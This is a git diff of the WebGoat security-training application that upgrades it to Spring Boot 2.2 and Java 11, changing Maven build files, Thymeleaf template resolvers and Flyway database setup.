"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
|
||||
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
|
||||
"}"^
|
||||
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
|
||||
"}"
|
||||
if "%MVNW_VERBOSE%" == "true" (
|
||||
echo Finished downloading %WRAPPER_JAR%
|
||||
)
|
||||
)
|
||||
@REM End of extension
|
||||
|
||||
@REM Provide a "standardized" way to retrieve the CLI args that will
|
||||
@REM work with both Windows and non-Windows executions.
|
||||
set MAVEN_CMD_LINE_ARGS=%*
|
||||
|
||||
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
|
||||
if ERRORLEVEL 1 goto error
|
||||
goto end
|
||||
|
130
pom.xml
130
pom.xml
@ -6,7 +6,7 @@
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-parent</artifactId>
|
||||
<packaging>pom</packaging>
|
||||
<version>v8.0.0.M25</version>
|
||||
<version>v8.0.0.M26</version>
|
||||
|
||||
<name>WebGoat Parent Pom</name>
|
||||
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
|
||||
@ -21,7 +21,7 @@
|
||||
<parent>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-parent</artifactId>
|
||||
<version>1.5.18.RELEASE</version>
|
||||
<version>2.2.0.RELEASE</version>
|
||||
</parent>
|
||||
|
||||
<licenses>
|
||||
@ -51,6 +51,11 @@
|
||||
<name>Jason White</name>
|
||||
<email>jason.white@owasp.org</email>
|
||||
</developer>
|
||||
<developer>
|
||||
<id>zubcevic</id>
|
||||
<name>René Zubcevic</name>
|
||||
<email>rene.zubcevic@owasp.org</email>
|
||||
</developer>
|
||||
<developer>
|
||||
<id>jwayman</id>
|
||||
<name>Jeff Wayman</name>
|
||||
@ -110,53 +115,27 @@
|
||||
<!-- Use UTF-8 Encoding -->
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
|
||||
<maven.compiler.source>11</maven.compiler.source>
|
||||
<maven.compiler.target>11</maven.compiler.target>
|
||||
|
||||
<!-- This build number will be ubdated by Travis-CI -->
|
||||
<build.number>build</build.number>
|
||||
|
||||
<!-- Shared properties with plugins and version numbers across submodules-->
|
||||
<activation.version>1.1.1</activation.version>
|
||||
<axis-ant.version>1.4</axis-ant.version>
|
||||
<axis-jaxrpc.version>1.4</axis-jaxrpc.version>
|
||||
<axis-saaj.version>1.4</axis-saaj.version>
|
||||
<axis.version>1.4</axis.version>
|
||||
<build-helper-maven-plugin.version>1.9.1</build-helper-maven-plugin.version>
|
||||
<cobertura-maven-plugin.version>2.7</cobertura-maven-plugin.version>
|
||||
<commons-collections.version>3.2.1</commons-collections.version>
|
||||
<commons-digester.version>2.1</commons-digester.version>
|
||||
<commons-discovery.version>0.5</commons-discovery.version>
|
||||
<commons-fileupload.version>1.3.1</commons-fileupload.version>
|
||||
<commons-io.version>2.6</commons-io.version>
|
||||
<commons-lang3.version>3.4</commons-lang3.version>
|
||||
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
|
||||
<gatling.version>2.2.5</gatling.version>
|
||||
<gatling-plugin.version>2.2.4</gatling-plugin.version>
|
||||
<commons-io.version>2.6</commons-io.version>
|
||||
<guava.version>18.0</guava.version>
|
||||
<h2.version>1.4.190</h2.version>
|
||||
<hsqldb.version>2.3.4</hsqldb.version>
|
||||
<j2h.version>1.3.1</j2h.version>
|
||||
<jackson-core.version>2.6.3</jackson-core.version>
|
||||
<jackson-databind.version>2.6.3</jackson-databind.version>
|
||||
<javaee-api.version>6.0</javaee-api.version>
|
||||
<javax.transaction-api.version>1.3</javax.transaction-api.version>
|
||||
<jcl-over-slf4j.version>1.7.12</jcl-over-slf4j.version>
|
||||
<jtds.version>1.3.1</jtds.version>
|
||||
<junit.version>4.12</junit.version>
|
||||
<lombok.version>1.18.4</lombok.version>
|
||||
<mail-api.version>1.5.4</mail-api.version>
|
||||
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
|
||||
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
|
||||
<maven-gpg-plugin.version>1.6</maven-gpg-plugin.version>
|
||||
<maven-jar-plugin.version>2.6</maven-jar-plugin.version>
|
||||
<maven-javadoc-plugin.version>2.10.4</maven-javadoc-plugin.version>
|
||||
<maven-release-plugin.version>2.5.2</maven-release-plugin.version>
|
||||
<maven-source-plugin.version>3.0.1</maven-source-plugin.version>
|
||||
<maven-surefire-plugin.version>2.22.0</maven-surefire-plugin.version>
|
||||
<nexus-staging-maven-plugin.version>1.6.6</nexus-staging-maven-plugin.version>
|
||||
<scala.version>2.11.7</scala.version>
|
||||
<sauce_junit.version>2.1.20</sauce_junit.version>
|
||||
<selenium-java.version>2.48.2</selenium-java.version>
|
||||
<spring.security.version>3.2.4.RELEASE</spring.security.version>
|
||||
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
|
||||
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
|
||||
<maven-source-plugin.version>3.1.0</maven-source-plugin.version>
|
||||
<maven-surefire-plugin.version>2.22.2</maven-surefire-plugin.version>
|
||||
</properties>
|
||||
|
||||
<modules>
|
||||
@ -164,34 +143,9 @@
|
||||
<module>webgoat-lessons</module>
|
||||
<module>webgoat-server</module>
|
||||
<module>webwolf</module>
|
||||
<module>webgoat-integration-tests</module>
|
||||
</modules>
|
||||
|
||||
<distributionManagement>
|
||||
<snapshotRepository>
|
||||
<id>ossrh</id>
|
||||
<url>https://oss.sonatype.org/content/repositories/snapshots</url>
|
||||
</snapshotRepository>
|
||||
<repository>
|
||||
<id>ossrh</id>
|
||||
<url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>
|
||||
</repository>
|
||||
</distributionManagement>
|
||||
|
||||
<pluginRepositories>
|
||||
<pluginRepository>
|
||||
<id>apache.snapshots</id>
|
||||
<url>http://repository.apache.org/snapshots/</url>
|
||||
<!-- The releases element here is due to an issue in Maven 2.0 that will be
|
||||
fixed in future releases. This should be able to be disabled altogether. -->
|
||||
<releases>
|
||||
<updatePolicy>daily</updatePolicy>
|
||||
</releases>
|
||||
<snapshots>
|
||||
<updatePolicy>daily</updatePolicy>
|
||||
</snapshots>
|
||||
</pluginRepository>
|
||||
</pluginRepositories>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
@ -226,37 +180,37 @@
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-release-plugin</artifactId>
|
||||
<version>${maven-release-plugin.version}</version>
|
||||
<artifactId>maven-checkstyle-plugin</artifactId>
|
||||
<version>3.1.0</version>
|
||||
<configuration>
|
||||
<autoVersionSubmodules>true</autoVersionSubmodules>
|
||||
<useReleaseProfile>false</useReleaseProfile>
|
||||
<releaseProfiles>release</releaseProfiles>
|
||||
<tagNameFormat>@{project.version}</tagNameFormat>
|
||||
<goals>deploy</goals>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.eluder.coveralls</groupId>
|
||||
<artifactId>coveralls-maven-plugin</artifactId>
|
||||
<version>${coveralls-maven-plugin.version}</version>
|
||||
<configuration>
|
||||
<repoToken/>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>cobertura-maven-plugin</artifactId>
|
||||
<version>${cobertura-maven-plugin.version}</version>
|
||||
<configuration>
|
||||
<check/>
|
||||
<format>xml</format>
|
||||
<maxmem>256m</maxmem>
|
||||
<!-- aggregated reports for multi-module projects -->
|
||||
<aggregate>true</aggregate>
|
||||
<encoding>UTF-8</encoding>
|
||||
<consoleOutput>true</consoleOutput>
|
||||
<failsOnError>true</failsOnError>
|
||||
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
|
||||
<suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
|
||||
<suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
<repositories>
|
||||
<repository>
|
||||
<id>central</id>
|
||||
<url>https://repo.maven.apache.org/maven2</url>
|
||||
<snapshots>
|
||||
<enabled>false</enabled>
|
||||
</snapshots>
|
||||
</repository>
|
||||
</repositories>
|
||||
<pluginRepositories>
|
||||
<pluginRepository>
|
||||
<id>central</id>
|
||||
<url>https://repo.maven.apache.org/maven2</url>
|
||||
<snapshots>
|
||||
<enabled>false</enabled>
|
||||
</snapshots>
|
||||
</pluginRepository>
|
||||
</pluginRepositories>
|
||||
|
||||
</project>
|
||||
|
@ -10,32 +10,9 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-parent</artifactId>
|
||||
<version>v8.0.0.M25</version>
|
||||
<version>v8.0.0.M26</version>
|
||||
</parent>
|
||||
|
||||
<profiles>
|
||||
<profile>
|
||||
<id>performance</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>io.gatling</groupId>
|
||||
<artifactId>gatling-maven-plugin</artifactId>
|
||||
<version>${gatling-plugin.version}</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<goals>
|
||||
<goal>execute</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
|
||||
</profiles>
|
||||
|
||||
<build>
|
||||
<resources>
|
||||
<resource>
|
||||
@ -69,7 +46,11 @@
|
||||
<artifactId>maven-surefire-plugin</artifactId>
|
||||
<version>${maven-surefire-plugin.version}</version>
|
||||
<configuration>
|
||||
<forkMode>never</forkMode>
|
||||
<forkCount>0</forkCount>
|
||||
<reuseForks>true</reuseForks>
|
||||
<argLine>
|
||||
--illegal-access=permit
|
||||
</argLine>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
@ -89,44 +70,52 @@
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.fasterxml.jackson.datatype</groupId>
|
||||
<artifactId>jackson-datatype-jsr310</artifactId>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-undertow</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-web</artifactId>
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-tomcat</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
<version>${activation.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-actuator</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.flywaydb</groupId>
|
||||
<artifactId>flyway-core</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.asciidoctor</groupId>
|
||||
<artifactId>asciidoctorj</artifactId>
|
||||
<version>1.5.4</version>
|
||||
<version>1.5.8.1</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-data-jpa</artifactId>
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<artifactId>HikariCP</artifactId>
|
||||
<groupId>com.zaxxer</groupId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.commons</groupId>
|
||||
<artifactId>commons-lang3</artifactId>
|
||||
<version>${commons-lang3.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.google.guava</groupId>
|
||||
<artifactId>guava</artifactId>
|
||||
<version>${guava.version}</version>
|
||||
</dependency>
|
||||
|
||||
|
||||
<dependency>
|
||||
<groupId>io.gatling.highcharts</groupId>
|
||||
<artifactId>gatling-charts-highcharts</artifactId>
|
||||
<version>${gatling.version}</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-security</artifactId>
|
||||
@ -137,31 +126,13 @@
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.thymeleaf.extras</groupId>
|
||||
<artifactId>thymeleaf-extras-springsecurity4</artifactId>
|
||||
<version>2.1.2.RELEASE</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
<version>${activation.version}</version>
|
||||
<artifactId>thymeleaf-extras-springsecurity5</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.hsqldb</groupId>
|
||||
<artifactId>hsqldb</artifactId>
|
||||
<version>${hsqldb.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>javax.transaction</groupId>
|
||||
<artifactId>javax.transaction-api</artifactId>
|
||||
<version>${javax.transaction-api.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.scala-lang</groupId>
|
||||
<artifactId>scala-compiler</artifactId>
|
||||
<version>${scala.version}</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
|
||||
<!-- ************* END spring MVC and related dependencies ************** -->
|
||||
<!-- ************* START: Dependencies for Unit and Integration Testing ************** -->
|
||||
|
@ -49,7 +49,7 @@ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoi
|
||||
}
|
||||
|
||||
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
|
||||
if(request.getHeader("x-requested-with") != null) {
|
||||
if (request.getHeader("x-requested-with") != null) {
|
||||
response.sendError(401, authException.getMessage());
|
||||
} else {
|
||||
super.commence(request, response, authException);
|
||||
|
@ -28,25 +28,27 @@
|
||||
* @version $Id: $Id
|
||||
* @since December 12, 2015
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import com.google.common.collect.Sets;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.asciidoctor.Asciidoctor;
|
||||
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
||||
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
||||
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
|
||||
import org.owasp.webgoat.asciidoc.*;
|
||||
import org.owasp.webgoat.i18n.Language;
|
||||
import org.thymeleaf.TemplateProcessingParameters;
|
||||
import org.thymeleaf.resourceresolver.IResourceResolver;
|
||||
import org.thymeleaf.templateresolver.TemplateResolver;
|
||||
import org.thymeleaf.IEngineConfiguration;
|
||||
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
||||
import org.thymeleaf.templateresource.ITemplateResource;
|
||||
import org.thymeleaf.templateresource.StringTemplateResource;
|
||||
|
||||
import java.io.*;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.StringWriter;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
import static org.apache.commons.lang3.CharEncoding.UTF_8;
|
||||
import static org.asciidoctor.Asciidoctor.Factory.create;
|
||||
|
||||
/**
|
||||
@ -57,7 +59,7 @@ import static org.asciidoctor.Asciidoctor.Factory.create;
|
||||
* </code>
|
||||
*/
|
||||
@Slf4j
|
||||
public class AsciiDoctorTemplateResolver extends TemplateResolver {
|
||||
public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
||||
|
||||
private static final Asciidoctor asciidoctor = create();
|
||||
private static final String PREFIX = "doc:";
|
||||
@ -65,72 +67,58 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
|
||||
|
||||
public AsciiDoctorTemplateResolver(Language language) {
|
||||
this.language = language;
|
||||
|
||||
setResourceResolver(new AdocResourceResolver());
|
||||
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
|
||||
setResolvablePatterns(Set.of(PREFIX + "*"));
|
||||
}
|
||||
|
||||
@Override
|
||||
protected String computeResourceName(TemplateProcessingParameters params) {
|
||||
String templateName = params.getTemplateName();
|
||||
return templateName.substring(PREFIX.length());
|
||||
}
|
||||
|
||||
private class AdocResourceResolver implements IResourceResolver {
|
||||
|
||||
@Override
|
||||
public InputStream getResourceAsStream(TemplateProcessingParameters params, String resourceName) {
|
||||
try (InputStream is = readInputStreamOrFallbackToEnglish(resourceName, language)) {
|
||||
if (is == null) {
|
||||
log.warn("Resource name: {} not found, did you add the adoc file?", resourceName);
|
||||
return new ByteArrayInputStream(new byte[0]);
|
||||
} else {
|
||||
StringWriter writer = new StringWriter();
|
||||
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
||||
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
||||
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
||||
|
||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));
|
||||
}
|
||||
} catch (IOException e) {
|
||||
//no html yet
|
||||
return new ByteArrayInputStream(new byte[0]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The resource name is for example HttpBasics_content1.adoc. This is always located in the following directory:
|
||||
* <code>plugin/HttpBasics/lessonPlans/en/HttpBasics_content1.adoc</code>
|
||||
*/
|
||||
private String computeResourceName(String resourceName, String language) {
|
||||
return String.format("lessonPlans/%s/%s", language, resourceName);
|
||||
}
|
||||
|
||||
private InputStream readInputStreamOrFallbackToEnglish(String resourceName, Language language) {
|
||||
InputStream is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, language.getLocale().getLanguage()));
|
||||
protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
|
||||
var templateName = resourceName.substring(PREFIX.length());
|
||||
try (InputStream is = readInputStreamOrFallbackToEnglish(templateName, language)) {
|
||||
if (is == null) {
|
||||
is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, "en"));
|
||||
log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
|
||||
return new StringTemplateResource("");
|
||||
} else {
|
||||
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
||||
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
||||
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
||||
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
|
||||
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
|
||||
|
||||
StringWriter writer = new StringWriter();
|
||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||
return new StringTemplateResource(writer.getBuffer().toString());
|
||||
}
|
||||
return is;
|
||||
}
|
||||
|
||||
private Map<String, Object> createAttributes() {
|
||||
Map<String, Object> attributes = Maps.newHashMap();
|
||||
attributes.put("source-highlighter", "coderay");
|
||||
attributes.put("backend", "xhtml");
|
||||
|
||||
Map<String, Object> options = Maps.newHashMap();
|
||||
options.put("attributes", attributes);
|
||||
|
||||
return options;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return "adocResourceResolver";
|
||||
} catch (IOException e) {
|
||||
//no html yet
|
||||
return new StringTemplateResource("");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The resource name is for example HttpBasics_content1.adoc. This is always located in the following directory:
|
||||
* <code>plugin/HttpBasics/lessonPlans/en/HttpBasics_content1.adoc</code>
|
||||
*/
|
||||
private String computeResourceName(String resourceName, String language) {
|
||||
return String.format("lessonPlans/%s/%s", language, resourceName);
|
||||
}
|
||||
|
||||
private InputStream readInputStreamOrFallbackToEnglish(String resourceName, Language language) {
|
||||
InputStream is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, language.getLocale().getLanguage()));
|
||||
if (is == null) {
|
||||
is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, "en"));
|
||||
}
|
||||
return is;
|
||||
}
|
||||
|
||||
private Map<String, Object> createAttributes() {
|
||||
Map<String, Object> attributes = new HashMap<>();
|
||||
attributes.put("source-highlighter", "coderay");
|
||||
attributes.put("backend", "xhtml");
|
||||
|
||||
Map<String, Object> options = new HashMap<>();
|
||||
options.put("attributes", attributes);
|
||||
|
||||
return options;
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,50 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.flywaydb.core.Flyway;
|
||||
import org.owasp.webgoat.service.RestartLessonService;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.context.annotation.DependsOn;
|
||||
|
||||
import javax.sql.DataSource;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
|
||||
* specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
|
||||
* for how we clean the lesson related tables.
|
||||
*/
|
||||
@Configuration
|
||||
public class DatabaseInitialization {
|
||||
|
||||
private final DataSource dataSource;
|
||||
private String driverClassName;
|
||||
|
||||
public DatabaseInitialization(DataSource dataSource,
|
||||
@Value("${spring.datasource.driver-class-name}") String driverClassName) {
|
||||
this.dataSource = dataSource;
|
||||
this.driverClassName = driverClassName;
|
||||
}
|
||||
|
||||
@Bean(initMethod = "migrate")
|
||||
public Flyway flyWayContainer() {
|
||||
return Flyway
|
||||
.configure()
|
||||
.configuration(Map.of("driver", driverClassName))
|
||||
.dataSource(dataSource)
|
||||
.schemas("container")
|
||||
.locations("db/container")
|
||||
.load();
|
||||
}
|
||||
|
||||
@Bean(initMethod = "migrate")
|
||||
@DependsOn("flyWayContainer")
|
||||
public Flyway flywayLessons() {
|
||||
return Flyway
|
||||
.configure()
|
||||
.configuration(Map.of("driver", driverClassName))
|
||||
.dataSource(dataSource)
|
||||
.load();
|
||||
}
|
||||
}
|
@ -1,48 +1,47 @@
|
||||
/**
|
||||
*************************************************************************************************
|
||||
*
|
||||
*
|
||||
* ************************************************************************************************
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
*
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* @author WebGoat
|
||||
* @since October 28, 2003
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import com.google.common.collect.Sets;
|
||||
import com.google.common.io.ByteStreams;
|
||||
import lombok.SneakyThrows;
|
||||
import org.springframework.core.io.ResourceLoader;
|
||||
import org.thymeleaf.TemplateProcessingParameters;
|
||||
import org.thymeleaf.resourceresolver.IResourceResolver;
|
||||
import org.thymeleaf.templateresolver.TemplateResolver;
|
||||
import org.thymeleaf.IEngineConfiguration;
|
||||
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
||||
import org.thymeleaf.templateresource.ITemplateResource;
|
||||
import org.thymeleaf.templateresource.StringTemplateResource;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.File;
|
||||
import java.io.InputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Dynamically resolve a lesson. In the html file this can be invoked as:
|
||||
@ -53,42 +52,29 @@ import java.util.Map;
|
||||
*
|
||||
* Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve the html in the plugins directory
|
||||
*/
|
||||
public class LessonTemplateResolver extends TemplateResolver {
|
||||
public class LessonTemplateResolver extends FileTemplateResolver {
|
||||
|
||||
private final static String PREFIX = "lesson:";
|
||||
private final File pluginTargetDirectory;
|
||||
private static final String PREFIX = "lesson:";
|
||||
private ResourceLoader resourceLoader;
|
||||
private Map<String, byte[]> resources = Maps.newHashMap();
|
||||
private Map<String, byte[]> resources = new HashMap<>();
|
||||
|
||||
public LessonTemplateResolver(File pluginTargetDirectory, ResourceLoader resourceLoader) {
|
||||
this.pluginTargetDirectory = pluginTargetDirectory;
|
||||
public LessonTemplateResolver(ResourceLoader resourceLoader) {
|
||||
this.resourceLoader = resourceLoader;
|
||||
setResourceResolver(new LessonResourceResolver());
|
||||
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
|
||||
setResolvablePatterns(Set.of(PREFIX + "*"));
|
||||
}
|
||||
|
||||
@Override
|
||||
protected String computeResourceName(TemplateProcessingParameters params) {
|
||||
String templateName = params.getTemplateName();
|
||||
return templateName.substring(PREFIX.length());
|
||||
}
|
||||
|
||||
private class LessonResourceResolver implements IResourceResolver {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public InputStream getResourceAsStream(TemplateProcessingParameters params, String resourceName) {
|
||||
byte[] resource = resources.get(resourceName);
|
||||
if (resource == null) {
|
||||
resource = ByteStreams.toByteArray(resourceLoader.getResource("classpath:/html/" + resourceName + ".html").getInputStream());
|
||||
resources.put(resourceName, resource);
|
||||
protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
|
||||
var templateName = resourceName.substring(PREFIX.length());;
|
||||
byte[] resource = resources.get(templateName);
|
||||
if (resource == null) {
|
||||
try {
|
||||
resource = resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream().readAllBytes();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return new ByteArrayInputStream(resource);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return "lessonResourceResolver";
|
||||
resources.put(resourceName, resource);
|
||||
}
|
||||
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
|
||||
}
|
||||
}
|
||||
}
|
@ -28,40 +28,40 @@
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.google.common.collect.Sets;
|
||||
import org.owasp.webgoat.i18n.Language;
|
||||
import org.owasp.webgoat.i18n.Messages;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.session.LabelDebugger;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Qualifier;
|
||||
import org.springframework.context.ApplicationContext;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.core.io.ResourceLoader;
|
||||
import org.springframework.web.servlet.LocaleResolver;
|
||||
import org.springframework.web.servlet.ViewResolver;
|
||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
|
||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
|
||||
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
|
||||
import org.thymeleaf.extras.springsecurity4.dialect.SpringSecurityDialect;
|
||||
import org.thymeleaf.spring4.SpringTemplateEngine;
|
||||
